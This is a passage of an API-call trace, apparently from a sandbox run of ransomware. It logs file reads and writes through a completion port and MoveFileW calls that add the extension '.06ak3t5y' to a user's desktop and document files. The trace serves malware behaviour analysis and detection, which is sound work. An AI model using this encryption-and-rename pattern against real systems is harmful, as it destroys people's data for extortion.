lpOverlapped=0x439ff84) returned 1 [0111.245] ReadFile (in: hFile=0x3f8, lpBuffer=0x459f978, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x0, lpOverlapped=0x459f828 | out: lpBuffer=0x459f978*, lpNumberOfBytesRead=0x0, lpOverlapped=0x459f828) returned 1 [0111.246] RtlGetLastWin32Error () returned 0x3e5 [0111.246] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.246] ReadFile (in: hFile=0x3fc, lpBuffer=0x459fb58, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x0, lpOverlapped=0x459fa08 | out: lpBuffer=0x459fb58*, lpNumberOfBytesRead=0x0, lpOverlapped=0x459fa08) returned 1 [0111.246] RtlGetLastWin32Error () returned 0x3e5 [0111.246] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.246] ReadFile (in: hFile=0x404, lpBuffer=0x459fd38, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x0, lpOverlapped=0x459fbe8 | out: lpBuffer=0x459fd38*, lpNumberOfBytesRead=0x0, lpOverlapped=0x459fbe8) returned 1 [0111.247] RtlGetLastWin32Error () returned 0x3e5 [0111.247] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.247] ReadFile (in: hFile=0x408, lpBuffer=0x459ff18, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x0, lpOverlapped=0x459fdc8 | out: lpBuffer=0x459ff18*, lpNumberOfBytesRead=0x0, lpOverlapped=0x459fdc8) returned 1 [0111.248] RtlGetLastWin32Error () returned 0x3e5 [0111.248] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.248] CloseHandle (hObject=0x2a4) returned 1 [0111.250] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xdc) returned 0x2070c20 [0111.250] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\OpD19Ox-5GJ.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\opd19ox-5gj.mp3"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\OpD19Ox-5GJ.mp3.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\opd19ox-5gj.mp3.06ak3t5y")) returned 1 [0111.251] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2070c20) returned 1 [0111.251] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086160) returned 1 [0111.251] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397e7d0) returned 1 [0111.251] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.251] CloseHandle (hObject=0x2f8) returned 1 [0111.252] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xea) returned 0x207d648 [0111.252] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\PiM1499-bCIJI-DrwX.flv" (normalized: "c:\\users\\keecfmwgj\\desktop\\pim1499-bciji-drwx.flv"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\PiM1499-bCIJI-DrwX.flv.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\pim1499-bciji-drwx.flv.06ak3t5y")) returned 1 [0111.253] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0111.253] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee710) returned 1 [0111.253] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x3932228) returned 1 [0111.253] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.253] CloseHandle (hObject=0x2f4) returned 1 [0111.254] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xee) returned 0x207d648 [0111.255] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\QGtBVOCQPa2FltB11SX3.avi" (normalized: "c:\\users\\keecfmwgj\\desktop\\qgtbvocqpa2fltb11sx3.avi"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\QGtBVOCQPa2FltB11SX3.avi.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\qgtbvocqpa2fltb11sx3.avi.06ak3t5y")) returned 1 [0111.255] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0111.255] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee698) returned 1 [0111.255] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x39447c8) returned 1 [0111.255] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.255] CloseHandle (hObject=0x2fc) returned 1 [0111.257] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe4) returned 0x20ab750 [0111.257] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\SzGI6-l46QfkV6r.avi" (normalized: "c:\\users\\keecfmwgj\\desktop\\szgi6-l46qfkv6r.avi"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\SzGI6-l46QfkV6r.avi.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\szgi6-l46qfkv6r.avi.06ak3t5y")) returned 1 [0111.258] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ab750) returned 1 [0111.258] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068190) returned 1 [0111.258] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x3953f08) returned 1 [0111.258] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.258] CloseHandle (hObject=0x300) returned 1 [0111.265] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xee) returned 0x207d648 [0111.265] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\whesQdnUMwd_xm-th3g0.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\whesqdnumwd_xm-th3g0.gif"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\whesQdnUMwd_xm-th3g0.gif.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\whesqdnumwd_xm-th3g0.gif.06ak3t5y")) returned 1 [0111.267] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0111.268] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee620) returned 1 [0111.268] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x3969798) returned 1 [0111.268] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.268] CloseHandle (hObject=0x304) returned 1 [0111.271] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd2) returned 0x30a82f0 [0111.271] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\z8iHCh.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\z8ihch.bmp"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\z8iHCh.bmp.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\z8ihch.bmp.06ak3t5y")) returned 1 [0111.272] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a82f0) returned 1 [0111.272] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20699c0) returned 1 [0111.272] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x44a0048) returned 1 [0111.272] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.272] CloseHandle (hObject=0x308) returned 1 [0111.273] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xda) returned 0x2070c20 [0111.274] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\_ CcZccljq.mkv" (normalized: "c:\\users\\keecfmwgj\\desktop\\_ cczccljq.mkv"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\_ CcZccljq.mkv.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\_ cczccljq.mkv.06ak3t5y")) returned 1 [0111.274] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2070c20) returned 1 [0111.274] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20861c8) returned 1 [0111.274] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x396aa08) returned 1 [0111.274] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.274] CloseHandle (hObject=0x30c) returned 1 [0111.276] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe4) returned 0x20ab750 [0111.276] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\-5MKPFwyZwdE.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\-5mkpfwyzwde.docx"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\-5MKPFwyZwdE.docx.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\-5mkpfwyzwde.docx.06ak3t5y")) returned 1 [0111.278] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ab750) returned 1 [0111.278] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068200) returned 1 [0111.278] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x44b7938) returned 1 [0111.278] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.278] CloseHandle (hObject=0x310) returned 1 [0111.280] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe6) returned 0x20ab750 [0111.280] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\07Y-vNHiW6TBEU.odp" (normalized: "c:\\users\\keecfmwgj\\documents\\07y-vnhiw6tbeu.odp"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\07Y-vNHiW6TBEU.odp.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\07y-vnhiw6tbeu.odp.06ak3t5y")) returned 1 [0111.281] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ab750) returned 1 [0111.281] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068270) returned 1 [0111.281] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x39713d0) returned 1 [0111.281] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.281] CloseHandle (hObject=0x314) returned 1 [0111.283] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xda) returned 0x2070c20 [0111.283] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\0ZUqqrgO.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\0zuqqrgo.ppt"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\0ZUqqrgO.ppt.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\0zuqqrgo.ppt.06ak3t5y")) returned 1 [0111.284] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2070c20) returned 1 [0111.284] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086230) returned 1 [0111.284] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x44c55a0) returned 1 [0111.286] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.286] CloseHandle (hObject=0x318) returned 1 [0111.288] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xdc) returned 0x2070c20 [0111.288] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\3ozabK9D.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\3ozabk9d.pptx"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\3ozabK9D.pptx.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\3ozabk9d.pptx.06ak3t5y")) returned 1 [0111.289] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2070c20) returned 1 [0111.289] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086298) returned 1 [0111.289] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x44d1aa8) returned 1 [0111.290] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.290] CloseHandle (hObject=0x31c) returned 1 [0111.292] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xde) returned 0x2070c20 [0111.292] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\4cdMBjwoKg.odt" (normalized: "c:\\users\\keecfmwgj\\documents\\4cdmbjwokg.odt"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\4cdMBjwoKg.odt.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\4cdmbjwokg.odt.06ak3t5y")) returned 1 [0111.293] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2070c20) returned 1 [0111.293] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086300) returned 1 [0111.293] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x44dcb08) returned 1 [0111.293] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.293] CloseHandle (hObject=0x320) returned 1 [0111.294] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe2) returned 0x20ab750 [0111.294] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\5hmdrIDHtVpR.ots" (normalized: "c:\\users\\keecfmwgj\\documents\\5hmdridhtvpr.ots"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\5hmdrIDHtVpR.ots.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\5hmdridhtvpr.ots.06ak3t5y")) returned 1 [0111.295] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ab750) returned 1 [0111.295] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20682e0) returned 1 [0111.296] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x3880590) returned 1 [0111.296] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.296] CloseHandle (hObject=0x324) returned 1 [0111.300] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd6) returned 0x30a82f0 [0111.300] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\6cY9G.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\6cy9g.xlsx"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\6cY9G.xlsx.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\6cy9g.xlsx.06ak3t5y")) returned 1 [0111.301] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a82f0) returned 1 [0111.301] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2069a20) returned 1 [0111.301] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x3975960) returned 1 [0111.302] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.302] CloseHandle (hObject=0x328) returned 1 [0111.303] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf4) returned 0x2099090 [0111.303] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\6Lo4VggeyxcF04AJM4nt.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\6lo4vggeyxcf04ajm4nt.pptx"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\6Lo4VggeyxcF04AJM4nt.pptx.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\6lo4vggeyxcf04ajm4nt.pptx.06ak3t5y")) returned 1 [0111.304] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2099090) returned 1 [0111.304] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x369f580) returned 1 [0111.304] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x44e9450) returned 1 [0111.304] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.304] WriteFile (in: hFile=0x26c, lpBuffer=0x454e678, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x454e650 | out: lpBuffer=0x454e678, lpNumberOfBytesWritten=0x0, lpOverlapped=0x454e650) returned 0x0 [0111.304] RtlGetLastWin32Error () returned 0x3e5 [0111.304] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.304] WriteFile (in: hFile=0x274, lpBuffer=0x3890aa0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3890a78 | out: lpBuffer=0x3890aa0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3890a78) returned 0x0 [0111.304] RtlGetLastWin32Error () returned 0x3e5 [0111.305] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.305] WriteFile (in: hFile=0x27c, lpBuffer=0x38a42c8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38a42a0 | out: lpBuffer=0x38a42c8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38a42a0) returned 0x0 [0111.305] RtlGetLastWin32Error () returned 0x3e5 [0111.305] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.305] WriteFile (in: hFile=0x278, lpBuffer=0x4561eb8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4561e90 | out: lpBuffer=0x4561eb8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4561e90) returned 0x0 [0111.305] RtlGetLastWin32Error () returned 0x3e5 [0111.305] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.305] WriteFile (in: hFile=0x254, lpBuffer=0x4578498, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4578470 | out: lpBuffer=0x4578498, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4578470) returned 0x0 [0111.305] RtlGetLastWin32Error () returned 0x3e5 [0111.305] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.305] WriteFile (in: hFile=0x34c, lpBuffer=0x4582470, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4582448 | out: lpBuffer=0x4582470, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4582448) returned 0x0 [0111.305] RtlGetLastWin32Error () returned 0x3e5 [0111.306] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.306] WriteFile (in: hFile=0x350, lpBuffer=0x45a0070, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45a0048 | out: lpBuffer=0x45a0070, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45a0048) returned 0x0 [0111.306] RtlGetLastWin32Error () returned 0x3e5 [0111.306] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.306] WriteFile (in: hFile=0x354, lpBuffer=0x4591a28, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4591a00 | out: lpBuffer=0x4591a28, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4591a00) returned 0x0 [0111.306] RtlGetLastWin32Error () returned 0x3e5 [0111.306] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.306] WriteFile (in: hFile=0x358, lpBuffer=0x397a3c8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397a3a0 | out: lpBuffer=0x397a3c8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397a3a0) returned 0x0 [0111.306] RtlGetLastWin32Error () returned 0x3e5 [0111.306] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.306] WriteFile (in: hFile=0x35c, lpBuffer=0x4596720, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45966f8 | out: lpBuffer=0x4596720, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45966f8) returned 0x0 [0111.306] RtlGetLastWin32Error () returned 0x3e5 [0111.307] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.307] CloseHandle (hObject=0x32c) returned 1 [0111.308] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xec) returned 0x207d648 [0111.308] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\9WPMG5w3nojWcs51.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\9wpmg5w3nojwcs51.docx"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\9WPMG5w3nojWcs51.docx.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\9wpmg5w3nojwcs51.docx.06ak3t5y")) returned 1 [0111.311] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0111.311] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee2d8) returned 1 [0111.311] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x44f6f00) returned 1 [0111.314] GetQueuedCompletionStatus (in: CompletionPort=0x220, 